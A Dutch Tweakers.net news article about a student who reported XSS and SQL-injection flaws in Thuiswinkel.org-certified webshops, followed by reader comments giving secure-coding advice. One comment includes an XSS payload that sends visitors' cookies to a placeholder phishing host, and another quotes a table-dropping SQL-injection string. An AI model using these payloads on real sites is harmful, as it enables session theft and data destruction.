Student ontdekt beveiligingsproblemen bij 160 webwinkels
Een 17-jarige student heeft in twee dagen tijd beveiligingslekken gevonden op de websites van 160 webwinkels met een Thuiswinkel.org-certificaat. De organisatie achter het keurmerk zegt meer aandacht aan beveiliging te gaan besteden.
"Ik ben de ledenlijst van Thuiswinkel.org afgegaan op kwetsbare winkels", zegt communicatiestudent Daniël Heesen. In totaal heeft de onderzoeker 1200 winkels gecontroleerd. Heesen stelt in 160 van die websites lekken te hebben gevonden. "Ik heb elke website op één plek gecontroleerd", aldus de onderzoeker. Meestal ging het daarbij om het zoekveld, waarin hij strings invoerde die op beveiligingsproblemen kunnen duiden.
De gevonden kwetsbaarheden waren hoofdzakelijk cross site scripting-kwetsbaarheden, waarmee cookies kunnen worden achterhaald en malafide code kan worden uitgevoerd. Om deze kwetsbaarheden daadwerkelijk te exploiteren, moet een slachtoffer er nog wel toe worden verleid om op een speciaal geprepareerde link te klikken. Het gaat daarmee om een relatief onschuldige kwetsbaarheid, maar tussen de 143 websites die vatbaar waren voor xss zaten wel grote webwinkels, zoals BelCompany, V&D en BCC.
Ernstig waren de 17 sql injection-kwetsbaarheden die Heesen vond. Met sql-injectie, waarbij user-input als valide sql-queries wordt geïnterpreteerd, kan in theorie een hele database worden ontfutseld. Onder andere Baby-Dump.nl en Kabeltje.com bevatten dergelijke kwetsbaarheden, maar deze zijn inmiddels gedicht. "Sommige websites zijn nog steeds lek", zegt Heesen, maar een deel van de winkels heeft wel maatregelen genomen.
"Dit zijn waarschijnlijk niet eens de enige lekken in webwinkels, want ik heb bijvoorbeeld niet gecontroleerd op blinde sql-injecties", zegt Heesen. Bij blinde sql-injecties is een website wel kwetsbaar voor sql-injectie, maar worden de resultaten van een opdracht niet weergegeven. Een hacker kan dan via een omweg alsnog commando's uitvoeren.
De onderzoeker heeft zijn bevindingen gemeld aan de stichting Thuiswinkel.org, die een keurmerk voor webshops beheert. Heesen richtte zich bij zijn onderzoek op winkels met het Thuiswinkel.org-stempel. De organisatie heeft aangesloten webwinkels na overleg met Tweakers.net dinsdagmorgen op de hoogte gesteld. Wijnand Jongen, directeur van Thuiswinkel.org, zegt te hopen dat het onderzoek bijdraagt aan een betere beveiliging van webwinkels.
Heesen zegt dat hij naar aanleiding van een beveiligingsprobleem bij de webwinkel CheapTickets.nl benieuwd was welke webwinkels nog meer lek waren. Bij CheapTickets.nl wist een hacker gegevens van 715.000 klanten te stelen. Jongen zegt dat zijn organisatie al na het bekend worden van dat bewuste lek heeft besloten om meer aandacht aan de beveiliging van webwinkels te besteden. "We controleren onze leden nog niet op beveiliging, maar dat gaat veranderen", aldus Jongen. "Veiligheid van webwinkels is een groot goed."
De eisen waaraan webwinkels moeten voldoen om het Thuiswinkel.org-keurmerk te mogen dragen, worden aangevuld met eisen voor veiligheid. Thuiswinkels die zich niet aan de eisen houden, lopen het risico geschorst te worden of zelfs helemaal te worden geroyeerd. Hoe de websites worden gecontroleerd, is nog niet bekend. Jongen zegt dat de organisatie nog moet bekijken wat 'haalbaar' is.
Reacties (92)
goede zet van die jongen.!
Inderdaad waren er maar meer van dit soort "hackers" laatste tijd lees je veel te veel over databases die worden uitgelekt etc. etc.
Zo kan het dus ook
Zo kan het dus ook
Goed bezig. Dit onderzoek sluit bijna naadloos aan bij het artikel wat ik onlangs over het Thuiswinkel waarborg heb geschreven. Ik ben zelf alleen de eerste paar winkels van de ledenlijst langsgegaan met een kleine check hoe het met https zit, maar dat SQL exploits ook zo eenvoudig te vinden zijn bevestigt nog maar eens dat het Thuiswinkel waarborg op het gebied van veiligheid en privacy op dit moment op z'n minst twijfelachtig is.
Van Thuiswinkel heb ik begrepen dat ze zelf ook druk bezig zijn met het aanscherpen van procedures rondom dit probleem, en dat er ook betere controles en checklists komen voordat een webwinkel het waarborg krijgt. Hoewel ik van mening blijf dat het onmogelijk blijft om als externe partij een 'veilig' stempel op een webwinkel te hangen zonder dat hier (zeer kostbare) audits voor worden gedaan.
Zie ook het betreffende artikel op het forum of op marketingfacts.nl
Van Thuiswinkel heb ik begrepen dat ze zelf ook druk bezig zijn met het aanscherpen van procedures rondom dit probleem, en dat er ook betere controles en checklists komen voordat een webwinkel het waarborg krijgt. Hoewel ik van mening blijf dat het onmogelijk blijft om als externe partij een 'veilig' stempel op een webwinkel te hangen zonder dat hier (zeer kostbare) audits voor worden gedaan.
Zie ook het betreffende artikel op het forum of op marketingfacts.nl
Is het waarborg op dit moment niet sterker gericht op de organisatie, dan de technische implementatie? Denk hierbij aan: algemene voorwaarden, vooruitbetaling, garantie, bedenktermijn, etc. Technisch zie ik hier alleen in terugkomen SSL-certificaat en melden bij CBP.
Ik vind het fijn om te weten dat een site met zo'n waarborg gedraaid wordt door een bedrijf dat hoogstwaarschijnlijk niet morgen failliet is en goede algemene voorwaarden heeft, maar het zegt mij niets over de kwaliteit van hun site.
Op de site van 't waarborg staat:
Begrijp me niet verkeerd: het is goed dat er zo'n keurmerk is, en het is goed dat lekken aan de kaak worden gesteld, maar ligt onze verwachting van 't waarborg niet te hoog?
Ik vind het fijn om te weten dat een site met zo'n waarborg gedraaid wordt door een bedrijf dat hoogstwaarschijnlijk niet morgen failliet is en goede algemene voorwaarden heeft, maar het zegt mij niets over de kwaliteit van hun site.
Op de site van 't waarborg staat:
De consumentenbond staat nu niet bekend als een organisatie met diepgaande technische kennis (no offense).Alle leden van Thuiswinkel.org worden jaarlijks gecertificeerd op naleving van de algemene voorwaarden zoals deze zijn vastgesteld door de Consumentenbond.
Begrijp me niet verkeerd: het is goed dat er zo'n keurmerk is, en het is goed dat lekken aan de kaak worden gesteld, maar ligt onze verwachting van 't waarborg niet te hoog?
Ondanks dat Thuiswinkel.org in Nederland het meest hoog aangeschreven keurmerk is vind ik het persoonlijk het meest waardeloze. Het is vooral een papieren organisatie die hun leden certificeert op basis van de algemene voorwaarden en zo nu en dan wat steekproeven doet. En daar moet die webshop dan ook nog een X percentage van zijn omzet voor afstaan wat bij een beetje goed lopende webshop al gauw op belachelijk bedragen uitkomt.
Ik heb één keer geprobeerd om via de Thuiswinkel.org website een klacht in te dienen omdat ik vond dat een bij hun aangesloten webshop zich niet aan de regels hielt. Tot mijn grote verbazing werd de klacht niet naar Thuiswinkel.org gestuurd maar per e-mail (met een CC naar mij) naar de webshop zelf gestuurd. Tja, dan ben je volgens mij als organisatie niks waard. Het is gewoon een belangenorganisatie van webshops. Thuiswinkel is er voor de webshops, niet voor de klanten. En veel van de aangesloten webshops betalen alleen maar voor het logo, niet voor de dienstverlening.
Ik heb één keer geprobeerd om via de Thuiswinkel.org website een klacht in te dienen omdat ik vond dat een bij hun aangesloten webshop zich niet aan de regels hielt. Tot mijn grote verbazing werd de klacht niet naar Thuiswinkel.org gestuurd maar per e-mail (met een CC naar mij) naar de webshop zelf gestuurd. Tja, dan ben je volgens mij als organisatie niks waard. Het is gewoon een belangenorganisatie van webshops. Thuiswinkel is er voor de webshops, niet voor de klanten. En veel van de aangesloten webshops betalen alleen maar voor het logo, niet voor de dienstverlening.
Correct. ICTWaarborg is ook zo'n clubje. Hoewel ik het idee heb dat ze wel aan de weg aan het timmeren zijn.
Persoonlijk vind ik het belachelijk dat zulke organisaties nodig zijn om te voorkomen dat een bedrijf z'n eigen klanten een poot uitdraait. "We" zijn diep gezonken...
Persoonlijk vind ik het belachelijk dat zulke organisaties nodig zijn om te voorkomen dat een bedrijf z'n eigen klanten een poot uitdraait. "We" zijn diep gezonken...
De kamer van koophandel is er niets beter bij. veiligheid en privacy als "zekerheid" en niets checken of proberen. dat voelt alsof je Nike schoenen koopt want dan hoor je erbij...
schijnveiligheid is heeeeel vervelend. maar ze controleerde streng op "financieel en juridisch" gebied, dus niet op het ict gedeelte, ja misschien wel maar de deurknop zag er glimmend uit. een slotje weergeven in je browser is natuurlijk al genoeg om er van uit te gaan dat het veilig is. misschien was het aankopen van spullen wel veilig.... en de rest?
dan krijg ik het gevoel van "ik weet niets van ict en ik ga maar iemand inhuren", vervolgens komt er iemand, zuipt een half uurtje koffie en plakt een stickertje op je server van "in orde". een week later lees ik terug "Madnar.zomg-org is gehackt, alle persoons gegevens zijn buitgemaakt" maar dat beveiligingsbedrijf had toch een certificaat?
wie controleert de controleur? en wie certificeert de certificatie verstrekkers?.. zo verlies je de betekenis van certificaten en keurmerken. er zit nog een verschil tussen niets controleren, controleren wat geleerd is en wel gecontroleerd maar we kunnen niet beschermen tegen wat onbekend is.
schijnveiligheid is heeeeel vervelend. maar ze controleerde streng op "financieel en juridisch" gebied, dus niet op het ict gedeelte, ja misschien wel maar de deurknop zag er glimmend uit. een slotje weergeven in je browser is natuurlijk al genoeg om er van uit te gaan dat het veilig is. misschien was het aankopen van spullen wel veilig.... en de rest?
dan krijg ik het gevoel van "ik weet niets van ict en ik ga maar iemand inhuren", vervolgens komt er iemand, zuipt een half uurtje koffie en plakt een stickertje op je server van "in orde". een week later lees ik terug "Madnar.zomg-org is gehackt, alle persoons gegevens zijn buitgemaakt" maar dat beveiligingsbedrijf had toch een certificaat?
wie controleert de controleur? en wie certificeert de certificatie verstrekkers?.. zo verlies je de betekenis van certificaten en keurmerken. er zit nog een verschil tussen niets controleren, controleren wat geleerd is en wel gecontroleerd maar we kunnen niet beschermen tegen wat onbekend is.
Tijd dat TweakersNet met een eigen online veiligheids certifikaat komt. ;-D
Hoe bedoel je dit? Voor webshops, of voor internetsites? Voor het eerste vraag ik me af of Tweakers de juiste partij is. Voor het laatste zijn er al zulke bedrijven, bijvoorbeeld McAfee e.a. En moet Tweakers dan kijken naar techniek alleen, of ook naar voorwaarden? En..
Graag iets meer toelichting op je suggestie dus a.u.b.
Graag iets meer toelichting op je suggestie dus a.u.b.
Ik hoop het, het beste lijkt mij om eerst contact op te nemen met de website, zodat ze dit zo snel mogelijk kunnen fixen alvorens de publiciteit te zoeken. Ik hoop dat hij dit gedaan heeft en de problemen al grotendeels gefixed zijn.
Onder andere Baby-Dump.nl en Kabeltje.com bevatten dergelijke kwetsbaarheden, maar deze zijn inmiddels gedicht. "Sommige websites zijn nog steeds lek", zegt Heesen, maar een deel van de winkels heeft wel maatregelen genomen.
De onderzoeker heeft zijn bevindingen gemeld aan de stichting Thuiswinkel.org, die een keurmerk voor webshops beheert.
Hij heeft dus eerst contact opgezocht en sommige sites hebben het lek zelfs al gedicht. Staat gewoon in het artikelDe organisatie heeft aangesloten webwinkels na overleg met Tweakers.net dinsdagmorgen op de hoogte gesteld.
dit suggereert dat er inderdaad een periode van feedback is geweest.maar deze zijn inmiddels gedicht
Ik werk als developer bij één van die webshops.
Op 1 november is er contact met ons opgenomen door Thuiswinkel. Dezelfde dag hadden wij het probleem verholpen.
Op 1 november is er contact met ons opgenomen door Thuiswinkel. Dezelfde dag hadden wij het probleem verholpen.
En gecontroleerd op nog meer lekken ?
Dat vraag ik me meer af.
Dat vraag ik me meer af.
Ik neem aan dat-ie deze actie op een of andere manier geautomatiseerd heeft.
Het ging enkel om controleren of het lek was. Dat is dus stukje schrijven, code copy-paste op elke site invoeren (lijst van internet, dus browsen kost haast geen tijd). Grote kans dat hij binnen uurtje klaar was met testen van alle 160 sites.
En voor 1200 sites? Misschien een paar dagen?
In totaal heeft de onderzoeker 1200 winkels gecontroleerd.
1200/160=7.5
7.5 uur, dus nog binnen een gewone werkdag
7.5 uur, dus nog binnen een gewone werkdag
Nouja... 1200 sites doorlopen en alleen elke keer maar CTRL+C / V van een code in een zoekveld is niet echt moeilijk. Het is alleen een beetje geestdodend om dit 1200 keer te doen.
En dat kan je dus scripten.
Waarom zeg je dit wel van deze jongen/meid, maar niet van iemand die een wollen trui gebreid heeft?
hij doet in ieder geval beter werk dan Thuiswinkel.org
is het echt "maar" een scriptkiddie is dan zou ik me zorgen maken om de grote hoeveelheid sites die niet veilig zijn en makkelijk in te breken zijn voor scriptkiddies. persoonlijk snap ik niet zo goed hoe die problemen ontstaan, ik bedoel als webdesigner leer je zoiets toch? of bestaan sql injections sinds een week geleden (natuurlijk niet ~~)?
daarnaast vind ik dat bedrijven niet zomaar mensen moeten inhuren onder het motto "omdat het goedkoop was". goedkoop is vaak duurkoop.
daarnaast vind ik dat bedrijven niet zomaar mensen moeten inhuren onder het motto "omdat het goedkoop was". goedkoop is vaak duurkoop.
Pro-tip: controleer of de database query's geprepareerd worden met een mysql_real_escape_string, dat is al één stap. Vervolgens is het ook nooit weg om te kijken of wachtwoorden worden gemd-5t, of geencrypt. En dan hebben we nog fout afhandeling, ook een belangerijke.
Dat is alles wat ik zo op de vroege ochtend even bedenken kan.
Vul gerust aan.
Dat is alles wat ik zo op de vroege ochtend even bedenken kan.
Vul gerust aan.
Error reporting is ook een groot issue, vooral PDO gooit fijn je database username/password combi op het scherm indien je het allemaal niet goed afvangt. En dan is het alleen nog maar een kwestie van PHPMyAdmin op te zoeken en je kunt zo fijn snuffelen in andermans database.
Hmm Volgens mij kan je ook nog best eventuele string waardes die de gebruiker invoert en vervolgens weer terugkrijgt (denk aan bijvoorbeeld een zoekveld in filter) voor de zekerheid encoden.
Vergeet hier ook niet om numerieke waarden binnen de database netjes af te dwingen tot een echte integer waarde met (int) voor de variable de database in gaat.
Dan zal dit altijd of een normale integer zijn, of een 0 (nul) worden waardoor het weinig kan doen.
Voor strings: mysql_real_escape_string() om ingevoerde waarden af te dwingen tot een acceptabele string.
Voor integer (cijfers): (int) $variablenaam om de variable af te dwingen tot een integer.
Simpel voorbeeld van wat er minimaal in je query zou moeten zitten:
$sql = "INSERT INTO `tabelnaam` SET `veldnaam` = '" . mysql_real_escape_string( $testString ) . "',`nogeenveld` = " . (int)$testInteger;
Dit is toch wel het minimale wat je kan doen.
En zoals bovenstaande zei, het waarborgen van de privacy van klanten door nooit een wachtwoord in plain tekst op te slaan, dan maken ze bij een wachtwoord vergeten maar een nieuw wachtwoord.
Vind het kwalijk als ik bij sites als ik een wachtwoord vergeten ben, dan ze dan vervolgens mij het daadwerkelijke wachtwoord toe kunnen sturen via de mail, hoort niet te kunnen!
En zoals de opmerking over error_reporting al zei, zorg voor een goede 'exception'-handler, die de errors voor jouw afvangt, dit logged, en niet meer op het scherm meld dan dat er een probleem is opgetreden en dat je hiervan op de hoogte bent gebracht. Geen dikke fouten op het scherm tonen, maar netjes door sluiten naar een error log buiten de document root.
Denk dat dit een aantal dingen zijn waar beginners zeer veel rekening mee moeten houden, helemaal bij webshops of bij grote communities waar veel persoonsgegevens worden vergaard. (Eigelijk gewoon bij ALLE websites!)
Dan zal dit altijd of een normale integer zijn, of een 0 (nul) worden waardoor het weinig kan doen.
Voor strings: mysql_real_escape_string() om ingevoerde waarden af te dwingen tot een acceptabele string.
Voor integer (cijfers): (int) $variablenaam om de variable af te dwingen tot een integer.
Simpel voorbeeld van wat er minimaal in je query zou moeten zitten:
$sql = "INSERT INTO `tabelnaam` SET `veldnaam` = '" . mysql_real_escape_string( $testString ) . "',`nogeenveld` = " . (int)$testInteger;
Dit is toch wel het minimale wat je kan doen.
En zoals bovenstaande zei, het waarborgen van de privacy van klanten door nooit een wachtwoord in plain tekst op te slaan, dan maken ze bij een wachtwoord vergeten maar een nieuw wachtwoord.
Vind het kwalijk als ik bij sites als ik een wachtwoord vergeten ben, dan ze dan vervolgens mij het daadwerkelijke wachtwoord toe kunnen sturen via de mail, hoort niet te kunnen!
En zoals de opmerking over error_reporting al zei, zorg voor een goede 'exception'-handler, die de errors voor jouw afvangt, dit logged, en niet meer op het scherm meld dan dat er een probleem is opgetreden en dat je hiervan op de hoogte bent gebracht. Geen dikke fouten op het scherm tonen, maar netjes door sluiten naar een error log buiten de document root.
Denk dat dit een aantal dingen zijn waar beginners zeer veel rekening mee moeten houden, helemaal bij webshops of bij grote communities waar veel persoonsgegevens worden vergaard. (Eigelijk gewoon bij ALLE websites!)
[Reactie gewijzigd door CRXDelSol op donderdag 3 november 2011 09:17]
Toch is dit handmatig stukjes query aan elkaar plakken waar het probleem zit, en casten of mysql_real_escape_string gebruiken pakt het probleem niet bij de bron aan. Op een bepaald moment vergeet je een (int) cast of een mysql_real_escape_string call en staat je database open. Prepared statements gebruiken is veel eenvoudiger en veiliger, en maakt je code ook nog eens veel overzichtelijker: In plaats van 10 strings met daartussen variabelen heb je gewoon 1 query en daarna vul je netjes alle waarden inSimpel voorbeeld van wat er minimaal in je query zou moeten zitten:
$sql = "INSERT INTO `tabelnaam` SET `veldnaam` = '" . mysql_real_escape_string( $testString ) . "',`nogeenveld` = " . (int)$testInteger;
Dit is toch wel het minimale wat je kan doen.
[Reactie gewijzigd door JanDM op donderdag 3 november 2011 09:26]
Dit is precies wat ik dacht! mysql_real_escape_string is een verouderde workaround om sql-injectie te voorkomen. Dat je als beginnende programmeur dat gebruikt, ok, maar elke programmeur die er langer dan een jaar mee bezig is hoort prepared statements te gebruiken imo.
Prepared stetements zijn ook nog eens heel veel sneller als je achter elkaar een groot aantal keer dezelfde query met andere parameters moet uitvoeren, omdat de query zelf onthouden wordt door de database, en alleen de parameters opnieuw ingevoerd hoeven te worden.
Prepared stetements zijn ook nog eens heel veel sneller als je achter elkaar een groot aantal keer dezelfde query met andere parameters moet uitvoeren, omdat de query zelf onthouden wordt door de database, en alleen de parameters opnieuw ingevoerd hoeven te worden.
En eigenlijk is het nog beter om geen enkel sql statement uit te voeren vanuit de webcode, maar om te werken met een afzonderlijke applicatie laag (al dan niet in de db onder de vorm van stored procedures). Vanuit de website wordt dan enkel de procedures opgeroepen (bv getArticleDetails).
Op die manier kan je je presentatie mooi afgezonderd houden van je applicatie logica, waardoor het eenvoudiger is om meerdere "toegangen" te voorzien (bv een gewone site en een voor de tablet geoptimaliseerde site).
ps) en de stored procedures gebruiken dan natuurlijk wel prepared statements
Op die manier kan je je presentatie mooi afgezonderd houden van je applicatie logica, waardoor het eenvoudiger is om meerdere "toegangen" te voorzien (bv een gewone site en een voor de tablet geoptimaliseerde site).
ps) en de stored procedures gebruiken dan natuurlijk wel prepared statements
Jij bent blijkbaar geen groot fan van Domain Driven Design. Wat jij voorstelt is slechts het verschuiven van het probleem richting de database.
Problemen ontstaan hoofdzakelijk wanneer men niet volgens een fatsoenlijk n-tier model werkt. Als je volgens de principes van Domain Driven Design werkt, staan al je queries in een van de DatabaseRepositories, en nergens anders. Slechts één plek waar je hoeft te controleren of je de DataStore niet compromitteerd als gevolg van injectie-gevoelige queries. Hogere lagen spreken de Repositories aan voor het ophalen van de gegevens in de vorm van een Domein Model, en die hogere lagen zijn zich dus niet bewust waar de gegevens vandaan komen; DatabaseRepository, SoapRepository, IniRepository.
De DataStore layer zit als diepste laag in je code onder het Domein Model en de Application Service layer (security en transactie management), en nog weer onder de MVC container voor de presentatie. Mijn nekharen springen geregeld nog overeind als ik weer eens spaghetti-code zie waar HTML en database call's door elkaar staan. Dat is gewoon een recept voor problemen, ook als je vanuit je HTML (presentatie) vooraf gemaakte stored procedures aanroept.
Problemen ontstaan hoofdzakelijk wanneer men niet volgens een fatsoenlijk n-tier model werkt. Als je volgens de principes van Domain Driven Design werkt, staan al je queries in een van de DatabaseRepositories, en nergens anders. Slechts één plek waar je hoeft te controleren of je de DataStore niet compromitteerd als gevolg van injectie-gevoelige queries. Hogere lagen spreken de Repositories aan voor het ophalen van de gegevens in de vorm van een Domein Model, en die hogere lagen zijn zich dus niet bewust waar de gegevens vandaan komen; DatabaseRepository, SoapRepository, IniRepository.
De DataStore layer zit als diepste laag in je code onder het Domein Model en de Application Service layer (security en transactie management), en nog weer onder de MVC container voor de presentatie. Mijn nekharen springen geregeld nog overeind als ik weer eens spaghetti-code zie waar HTML en database call's door elkaar staan. Dat is gewoon een recept voor problemen, ook als je vanuit je HTML (presentatie) vooraf gemaakte stored procedures aanroept.
Is het vreemd dat het zo vaak mis gaat, als je ziet welke technische termen er allemaal voorbij schieten die voor de leek lang niet allemaal bekend zijn... 
En dat zelfs 'tweakers' van mening verschillen wat nu do's en don't's zijn.
Er lijkt dan ook een cultuur te zijn van dat het geaccepteerd wordt als je hier fouten bij maakt. Immers, je leest nooit iets over programmeurs of webmasters die ontslagen zijn omdat ze de beveiliging niet op orde hadden.
En dat zelfs 'tweakers' van mening verschillen wat nu do's en don't's zijn.Er lijkt dan ook een cultuur te zijn van dat het geaccepteerd wordt als je hier fouten bij maakt. Immers, je leest nooit iets over programmeurs of webmasters die ontslagen zijn omdat ze de beveiliging niet op orde hadden.
zet 2 consultants bij elkaar en je hebt 3 verschillende meningen ;-)
Over je opmerkingen van de cultuur.
Hoe ga je opmerken wie er moet ontslagen worden, de programmeur, de designer, de klant die maar x bedrag wil spenderen, de tester die het niet heeft ontdekt, ...?
Je hebt gelijk als je zegt dat security, net als performance en instrumentation trouwens, nog vaak ondergeschoven kindjes zijn. En dat dit moet veranderen.
Maar dat is iets wat moet doordringen in de hele "ketting" en niet enkel een zaak is van de programmeur.
Over je opmerkingen van de cultuur.
Hoe ga je opmerken wie er moet ontslagen worden, de programmeur, de designer, de klant die maar x bedrag wil spenderen, de tester die het niet heeft ontdekt, ...?
Je hebt gelijk als je zegt dat security, net als performance en instrumentation trouwens, nog vaak ondergeschoven kindjes zijn. En dat dit moet veranderen.
Maar dat is iets wat moet doordringen in de hele "ketting" en niet enkel een zaak is van de programmeur.
Ik heb er dan ook bijgezet dat de stored procedures dan ook wel prepared statements moeten zijn en geen stukken sql aan elkaar moeten plakken met parameters ertussen.
Bij Oracle gebruik je binnen stored procedures dan ook automatisch bind variablen, waardoor er geen sql injection mogelijk is (tenzij je dynamic sql gebruikt, waarbij je expliciet moet gaan coderen met prepared statements).
Ik ben niet vertrouwd met domain driven design, maar wat ik van jouw post ervan begrijp het introduceren van een tussenlaag met als doel de informatie uit verschillende bronnen te gaan combineren in 1 "virtuele" bron.
Op zich niets mis mee, maar als ik dan lees dat je security en transactie management niet op de db zitten, dan komt mijn nekhaar dan weer recht.
Een van de hoofdzaken die een database voor dient is juist transactie management.
En security hoort bij de data, niemand zegt immers dat er nergens een rechtstreekse toegang mogelijk is tot de database (al dan niet by design).
Natuurlijk zullen er security zaken zijn die ook in hogere lagen zitten.
Los van dit alles vraag ik mij ook af van hoeveel (winkel) sites de html code eigenlijk niet on the fly wordt gegenereerd op basis van database calls ipv pagina's waarin stukken worden opgevuld door db calls.
Bij Oracle gebruik je binnen stored procedures dan ook automatisch bind variablen, waardoor er geen sql injection mogelijk is (tenzij je dynamic sql gebruikt, waarbij je expliciet moet gaan coderen met prepared statements).
Ik ben niet vertrouwd met domain driven design, maar wat ik van jouw post ervan begrijp het introduceren van een tussenlaag met als doel de informatie uit verschillende bronnen te gaan combineren in 1 "virtuele" bron.
Op zich niets mis mee, maar als ik dan lees dat je security en transactie management niet op de db zitten, dan komt mijn nekhaar dan weer recht.
Een van de hoofdzaken die een database voor dient is juist transactie management.
En security hoort bij de data, niemand zegt immers dat er nergens een rechtstreekse toegang mogelijk is tot de database (al dan niet by design).
Natuurlijk zullen er security zaken zijn die ook in hogere lagen zitten.
Los van dit alles vraag ik mij ook af van hoeveel (winkel) sites de html code eigenlijk niet on the fly wordt gegenereerd op basis van database calls ipv pagina's waarin stukken worden opgevuld door db calls.
Pas daarnaast ook altijd op met de multi_query functies in PHP, eigenlijk wil je die zo min mogelijk gebruiken. Als je gebruik maakt van multi_query en er sluipt toch ergens een SQL injection in dan is het mogelijk om iets als:
'; DROP TABLE x;
uit te voeren, terwijl de gewone query functies dit onmogelijk maken.
'; DROP TABLE x;
uit te voeren, terwijl de gewone query functies dit onmogelijk maken.
Op mijn site heb ik een aparte user voor mijn back en frontend, de frontend heeft geen rechten om tabelstructuren aan te passen waardoor dat soort dingen ook niet voor kunnen komen.
Het minimale wat je kan doen is geen SQL concatten maar gewoon geparameteriseerde queries gebruiken. Hoef je ook geen rare escape dingen te doen.Dit is toch wel het minimale wat je kan doen.
Misschien nog grapjassen die exploits zoeken en cross-site scripts tegengaan met een goede .htaccess file? http://corz.org/serv/tric...e=all#more-better-banning
Het dekt niet alles maar is zeker een leuke toevoeging
Het dekt niet alles maar is zeker een leuke toevoeging
Niet elke webshop gebruikt PHP... Los daarvan gaan de mysql_() commando's van PHP er uit, niet meer gebruiken dus. Een betere oplossing is het gebruik van prepared statements. Met een fatsoenlijk ORM (waar de meeste zichzelf respecterende applicaties tegenwoordig gebruik van maken) heb je die automatisch al, dus dat zou een non-issue moeten zijn.
Dan heb je XSS, wat je gewoon op kunt lossen door je output te filteren. In PHP kun je dat voorkomen door de output door htmlspecialchars() te halen, bij bijvoorbeeld ASP.NET met Razor gebeurt het automatisch al en hoef je niks te doen.
CSRF is een aanval waar minder aandacht aan besteed wordt maar die wel heel schadelijk is; valt simpelweg te controleren door een uniek token met je forms mee te sturen en deze te controleren.
En tot slot natuurlijk alleen hashes opslaan van je wachtwoorden (geen MD5 zoals jij aanhaalt). Iets sterks vind ik persoonlijk aan te raden, meestal is dat SHA384 met een hash. En natuurlijk foute inlogpogingen blocken na 3x foutief proberen, etc.
Vergeet niet dat mensen ook een bepaalde actie aan kunnen roepen door gewoon de URL in te voeren. Zorg dus dat elke actie die een niet-geauthoriseerde gebruiker niet uit mag voeren beveiligd is.
Dan heb je XSS, wat je gewoon op kunt lossen door je output te filteren. In PHP kun je dat voorkomen door de output door htmlspecialchars() te halen, bij bijvoorbeeld ASP.NET met Razor gebeurt het automatisch al en hoef je niks te doen.
CSRF is een aanval waar minder aandacht aan besteed wordt maar die wel heel schadelijk is; valt simpelweg te controleren door een uniek token met je forms mee te sturen en deze te controleren.
En tot slot natuurlijk alleen hashes opslaan van je wachtwoorden (geen MD5 zoals jij aanhaalt). Iets sterks vind ik persoonlijk aan te raden, meestal is dat SHA384 met een hash. En natuurlijk foute inlogpogingen blocken na 3x foutief proberen, etc.
Vergeet niet dat mensen ook een bepaalde actie aan kunnen roepen door gewoon de URL in te voeren. Zorg dus dat elke actie die een niet-geauthoriseerde gebruiker niet uit mag voeren beveiligd is.
De meest basis actie om de output uberhaubt te filteren, is het gebruiken van strip_tags(). Om uberhaubt eventuele <script> tags weg te filteren waardoor het uberhaubt al geen javascript meer is, en het wordt gezien als een simpele plain HTML.
strip_tags is niet voldoende !!!!!!
er zijn zat trucs om dit te omzijlen
gebruik htmlentities(http://nl3.php.net/manual/en/function.htmlentities.php)
deze maakt (van alle caracters die niet text zijn in html) geescapte waardes van
probeer anders maar deze :
> <script type="text/javascript"
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>
(disc: alleen gebruiken voot penetratietests met toestemming van de ijgenaar van de website, code is voor educatieve doelen, ander gebruik van deze code is niet toegestaan)
er zijn zat trucs om dit te omzijlen
gebruik htmlentities(http://nl3.php.net/manual/en/function.htmlentities.php)
deze maakt (van alle caracters die niet text zijn in html) geescapte waardes van
probeer anders maar deze :
> <script type="text/javascript"
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>
(disc: alleen gebruiken voot penetratietests met toestemming van de ijgenaar van de website, code is voor educatieve doelen, ander gebruik van deze code is niet toegestaan)
Ze gaan er niet echt 'uit', maar het is inderdaad aangeraden om ze inderdaad niet meer te gebruiken en gewoon prepared statements te gebruiken, scheeld al een hoop gezeik.
Schattig, mensen die alleen in PHP kunnen denken Alsof dat de enige taal is die gebruikt wordt.
Los van de taal, queries bouwen door strings te concateneren is gewoon smerig, want je gaat gegarandeerd een keer zo'n escape-ding vergeten. Zorg voor een goed framework waarin je gedwongen wordt met prepared statements (of iets vergelijkbaars) te werken, of gebruik een O/R mapper, zodat je helemaal geen SQL meer hoeft te schrijven.
Alsof dat de enige taal is die gebruikt wordt.Los van de taal, queries bouwen door strings te concateneren is gewoon smerig, want je gaat gegarandeerd een keer zo'n escape-ding vergeten. Zorg voor een goed framework waarin je gedwongen wordt met prepared statements (of iets vergelijkbaars) te werken, of gebruik een O/R mapper, zodat je helemaal geen SQL meer hoeft te schrijven.
Als je een SQL query dynamisch opbouwt dan ontkom je niet aan concateneren van strings. Pas als je op die manier (user) input in gaat stoppen, dan begint het smerig te worden.
Beter is inderdaad om ook het dynamisch opbouwen van een query niet handmatig te doen, maar hiervoor een handige library te gebruiken.
Beter is inderdaad om ook het dynamisch opbouwen van een query niet handmatig te doen, maar hiervoor een handige library te gebruiken.
Interessant, om op die manier anderen te kleineren?
OT: Query builders en prepared statements zijn inderdaad de 'toekomst' (voor zover dat niet al lang zo hoort te zijn...).
Maar SQL strings concatten is prima, zolang je maar niet user input toestaat. Er zijn wat fijne nuances die hier gelegd moeten worden.
Aan de andere kant zijn ORMs vaak heel traag, enkele uitzonderingen daargelaten, en moet je twee keer over nadenken voordat je die zomaar toevoegt aan je webapp.
OT: Query builders en prepared statements zijn inderdaad de 'toekomst' (voor zover dat niet al lang zo hoort te zijn...).
Maar SQL strings concatten is prima, zolang je maar niet user input toestaat. Er zijn wat fijne nuances die hier gelegd moeten worden.
Aan de andere kant zijn ORMs vaak heel traag, enkele uitzonderingen daargelaten, en moet je twee keer over nadenken voordat je die zomaar toevoegt aan je webapp.
[Reactie gewijzigd door Houseoflegend op donderdag 3 november 2011 10:49]
yep. En voor de XSS hebben we strip_tags en htmlentities
"De onderzoeker heeft zijn bevindingen gemeld aan de stichting Thuiswinkel.org, die een keurmerk voor webshops beheert."
Dan is het nog maar goed dat deze beveiligingslek in de goeie handen is gevallen. Je praat hier over webwinkels en je denkt hier veilig bestellingen te kunnen plaatsen.
"Bij CheapTickets.nl wist een hacker gegevens van 715.000 klanten te stelen."
Auch. Dat moet echt eventjes nagekeken worden.
